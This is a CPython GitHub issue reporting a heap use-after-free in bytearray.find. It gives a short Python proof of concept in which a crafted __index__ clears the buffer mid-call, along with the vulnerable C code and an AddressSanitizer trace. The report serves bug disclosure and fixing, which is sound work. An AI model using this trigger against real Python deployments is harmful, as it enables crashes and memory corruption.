Skip to content

Use-after-free in bytearray.find via re-entrant __index__ #142559

@jackfromeast

Description

@jackfromeast

What happened?

bytearray.find(x) converts x to a single byte using index before performing the search.
A crafted __index__ can call bytearray.clear(), freeing or resizing the buffer after str have been captured. The subsequent search (stringlib_find_char) then dereferences the stale pointer, resulting in a heap use-after-free.

Note that, this may share the same root cause as #142560 and #142558.

Proof of Concept:

victim = bytearray(b'A' * 0x1)

class Evil:
    def __index__(self):
        victim.clear()
        return 65  # looking for 'A'

victim.find(Evil())

Affected Versions:

Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:9c4638d, Oct 17 2025, 11:19:30) ASAN 1
Python 3.10.19+ (heads/3.10:0142619, Oct 17 2025, 11:20:05) [GCC 13.3.0] ASAN 1
Python 3.11.14+ (heads/3.11:88f3f5b, Oct 17 2025, 11:20:44) [GCC 13.3.0] ASAN 1
Python 3.12.12+ (heads/3.12:8cb2092, Oct 17 2025, 11:21:35) [GCC 13.3.0] ASAN 1
Python 3.13.9+ (heads/3.13:0760a57, Oct 17 2025, 11:22:25) [GCC 13.3.0] ASAN 1
Python 3.14.0+ (heads/3.14:889e918, Oct 17 2025, 11:23:02) [GCC 13.3.0] ASAN 1
Python 3.15.0a1+ (heads/main:fbf0843, Oct 17 2025, 11:23:37) [GCC 13.3.0] ASAN 1

Vulnerable Code Snippet

static PyObject *
bytearray_find_impl(PyByteArrayObject *self, PyObject *sub, Py_ssize_t start,
                    Py_ssize_t end)
/*[clinic end generated code: output=413e1cab2ae87da0 input=df3aa94840d893a7]*/
{
    return _Py_bytes_find(PyByteArray_AS_STRING(self), PyByteArray_GET_SIZE(self),
                          sub, start, end);
}

PyObject *
_Py_bytes_find(const char *str, Py_ssize_t len, PyObject *sub,
               Py_ssize_t start, Py_ssize_t end)
{
    Py_ssize_t result = find_internal(str, len, "find", sub, start, end, +1);
    if (result == -2)
        return NULL;
    return PyLong_FromSsize_t(result);
}

Py_LOCAL_INLINE(Py_ssize_t)
find_internal(const char *str, Py_ssize_t len,
              const char *function_name, PyObject *subobj,
              Py_ssize_t start, Py_ssize_t end,
              int dir)
{
    char byte;
    Py_buffer subbuf;
    const char *sub;
    Py_ssize_t sub_len;
    Py_ssize_t res;
		
		// Implicitly call the __index__ method
    if (!parse_args_finds_byte(function_name, &subobj, &byte)) {
        return -2;
    }

    if (subobj) {
        if (PyObject_GetBuffer(subobj, &subbuf, PyBUF_SIMPLE) != 0)
            return -2;

        sub = subbuf.buf;
        sub_len = subbuf.len;
    }
    else {
        sub = &byte;
        sub_len = 1;
    }

    ADJUST_INDICES(start, end, len);
    if (end - start < sub_len)
        res = -1;
    else if (sub_len == 1) {
        if (dir > 0)
            // Bug: *str has been freed already
            res = stringlib_find_char(
                str + start, end - start,
                *sub);
        else

Sanitizer

=================================================================
==1509834==ERROR: AddressSanitizer: heap-use-after-free on address 0x503000001b80 at pc 0x61b0e843569b bp 0x7ffca775b1a0 sp 0x7ffca775b190
READ of size 1 at 0x503000001b80 thread T0
    #0 0x61b0e843569a in stringlib_find_char Objects/stringlib/fastsearch.h:99
    #1 0x61b0e8436ef4 in find_internal Objects/bytes_methods.c:485
    #2 0x61b0e843865a in _Py_bytes_find Objects/bytes_methods.c:516
    #3 0x61b0e843e07d in bytearray_find_impl Objects/bytearrayobject.c:1229
    #4 0x61b0e843e1f4 in bytearray_find Objects/clinic/bytearrayobject.c.h:154
    #5 0x61b0e84816ed in method_vectorcall_FASTCALL Objects/descrobject.c:402
    #6 0x61b0e8461e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #7 0x61b0e8461f72 in PyObject_Vectorcall Objects/call.c:327
    #8 0x61b0e86e0056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #9 0x61b0e8723e54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #10 0x61b0e8724148 in _PyEval_Vector Python/ceval.c:2001
    #11 0x61b0e87243f8 in PyEval_EvalCode Python/ceval.c:884
    #12 0x61b0e881b507 in run_eval_code_obj Python/pythonrun.c:1365
    #13 0x61b0e881b723 in run_mod Python/pythonrun.c:1459
    #14 0x61b0e881c57a in pyrun_file Python/pythonrun.c:1293
    #15 0x61b0e881f220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #16 0x61b0e881f4f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #17 0x61b0e887074d in pymain_run_file_obj Modules/main.c:410
    #18 0x61b0e88709b4 in pymain_run_file Modules/main.c:429
    #19 0x61b0e88721b2 in pymain_run_python Modules/main.c:691
    #20 0x61b0e8872842 in Py_RunMain Modules/main.c:772
    #21 0x61b0e8872a2e in pymain_main Modules/main.c:802
    #22 0x61b0e8872db3 in Py_BytesMain Modules/main.c:826
    #23 0x61b0e82f6645 in main Programs/python.c:15
    #24 0x76cd8102a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #25 0x76cd8102a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #26 0x61b0e82f6574 in _start (/home/jackfromeast/Desktop/entropy/tasks/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: ff3dc40ea460bd4beb2c3a72283cca525b319bf0)

0x503000001b80 is located 16 bytes inside of 26-byte region [0x503000001b70,0x503000001b8a)
freed by thread T0 here:
    #0 0x76cd814fc778 in realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
    #1 0x61b0e85292d2 in _PyMem_RawRealloc Objects/obmalloc.c:85
    #2 0x61b0e852b4e4 in _PyMem_DebugRawRealloc Objects/obmalloc.c:3010
    #3 0x61b0e852b823 in _PyMem_DebugRealloc Objects/obmalloc.c:3108
    #4 0x61b0e85522e7 in PyMem_Realloc Objects/obmalloc.c:1063
    #5 0x61b0e843ac04 in bytearray_resize_lock_held Objects/bytearrayobject.c:258
    #6 0x61b0e844824c in PyByteArray_Resize Objects/bytearrayobject.c:278
    #7 0x61b0e8449f8e in bytearray_clear_impl Objects/bytearrayobject.c:1260
    #8 0x61b0e8449faf in bytearray_clear Objects/clinic/bytearrayobject.c.h:227
    #9 0x61b0e8481571 in method_vectorcall_NOARGS Objects/descrobject.c:448
    #10 0x61b0e8461e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #11 0x61b0e8461f72 in PyObject_Vectorcall Objects/call.c:327
    #12 0x61b0e86e0056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #13 0x61b0e8723e54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #14 0x61b0e8724148 in _PyEval_Vector Python/ceval.c:2001
    #15 0x61b0e84619b8 in _PyFunction_Vectorcall Objects/call.c:413
    #16 0x61b0e857456b in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #17 0x61b0e8574680 in vectorcall_unbound Objects/typeobject.c:3033
    #18 0x61b0e8595976 in vectorcall_method Objects/typeobject.c:3104
    #19 0x61b0e8596664 in slot_nb_index Objects/typeobject.c:10507
    #20 0x61b0e842f6be in _PyNumber_Index Objects/abstract.c:1418
    #21 0x61b0e842f940 in PyNumber_AsSsize_t Objects/abstract.c:1464
    #22 0x61b0e84354f2 in parse_args_finds_byte Objects/bytes_methods.c:418
    #23 0x61b0e8436da9 in find_internal Objects/bytes_methods.c:464
    #24 0x61b0e843865a in _Py_bytes_find Objects/bytes_methods.c:516
    #25 0x61b0e843e07d in bytearray_find_impl Objects/bytearrayobject.c:1229
    #26 0x61b0e843e1f4 in bytearray_find Objects/clinic/bytearrayobject.c.h:154
    #27 0x61b0e84816ed in method_vectorcall_FASTCALL Objects/descrobject.c:402
    #28 0x61b0e8461e7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #29 0x61b0e8461f72 in PyObject_Vectorcall Objects/call.c:327

previously allocated by thread T0 here:
    #0 0x76cd814fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x61b0e8529284 in _PyMem_RawMalloc Objects/obmalloc.c:63
    #2 0x61b0e8528655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887
    #3 0x61b0e852b64f in _PyMem_DebugRawRealloc Objects/obmalloc.c:2963
    #4 0x61b0e852b823 in _PyMem_DebugRealloc Objects/obmalloc.c:3108
    #5 0x61b0e85522e7 in PyMem_Realloc Objects/obmalloc.c:1063
    #6 0x61b0e843ac04 in bytearray_resize_lock_held Objects/bytearrayobject.c:258
    #7 0x61b0e844824c in PyByteArray_Resize Objects/bytearrayobject.c:278
    #8 0x61b0e8448850 in bytearray___init___impl Objects/bytearrayobject.c:978
    #9 0x61b0e84492c9 in bytearray___init__ Objects/clinic/bytearrayobject.c.h:102
    #10 0x61b0e85883c0 in type_call Objects/typeobject.c:2460
    #11 0x61b0e8461c71 in _PyObject_MakeTpCall Objects/call.c:242
    #12 0x61b0e8461f19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167
    #13 0x61b0e8461f72 in PyObject_Vectorcall Objects/call.c:327
    #14 0x61b0e86e0056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #15 0x61b0e8723e54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #16 0x61b0e8724148 in _PyEval_Vector Python/ceval.c:2001
    #17 0x61b0e87243f8 in PyEval_EvalCode Python/ceval.c:884
    #18 0x61b0e881b507 in run_eval_code_obj Python/pythonrun.c:1365
    #19 0x61b0e881b723 in run_mod Python/pythonrun.c:1459
    #20 0x61b0e881c57a in pyrun_file Python/pythonrun.c:1293
    #21 0x61b0e881f220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #22 0x61b0e881f4f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #23 0x61b0e887074d in pymain_run_file_obj Modules/main.c:410
    #24 0x61b0e88709b4 in pymain_run_file Modules/main.c:429
    #25 0x61b0e88721b2 in pymain_run_python Modules/main.c:691
    #26 0x61b0e8872842 in Py_RunMain Modules/main.c:772
    #27 0x61b0e8872a2e in pymain_main Modules/main.c:802
    #28 0x61b0e8872db3 in Py_BytesMain Modules/main.c:826
    #29 0x61b0e82f6645 in main Programs/python.c:15

SUMMARY: AddressSanitizer: heap-use-after-free Objects/stringlib/fastsearch.h:99 in stringlib_find_char
Shadow bytes around the buggy address:
  0x503000001900: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fd
  0x503000001980: fa fa fd fd fd fa fa fa fd fd fd fd fa fa fd fd
  0x503000001a00: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa
  0x503000001a80: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd
  0x503000001b00: fa fa fd fd fd fa fa fa fd fd fd fd fa fa fd fd
=>0x503000001b80:[fd]fd fa fa 00 00 00 01 fa fa fa fa fa fa fa fa
  0x503000001c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000001c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000001d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000001d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x503000001e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1509834==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    interpreter-core(Objects, Python, Grammar, and Parser dirs)type-bugAn unexpected behavior, bug, or error

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions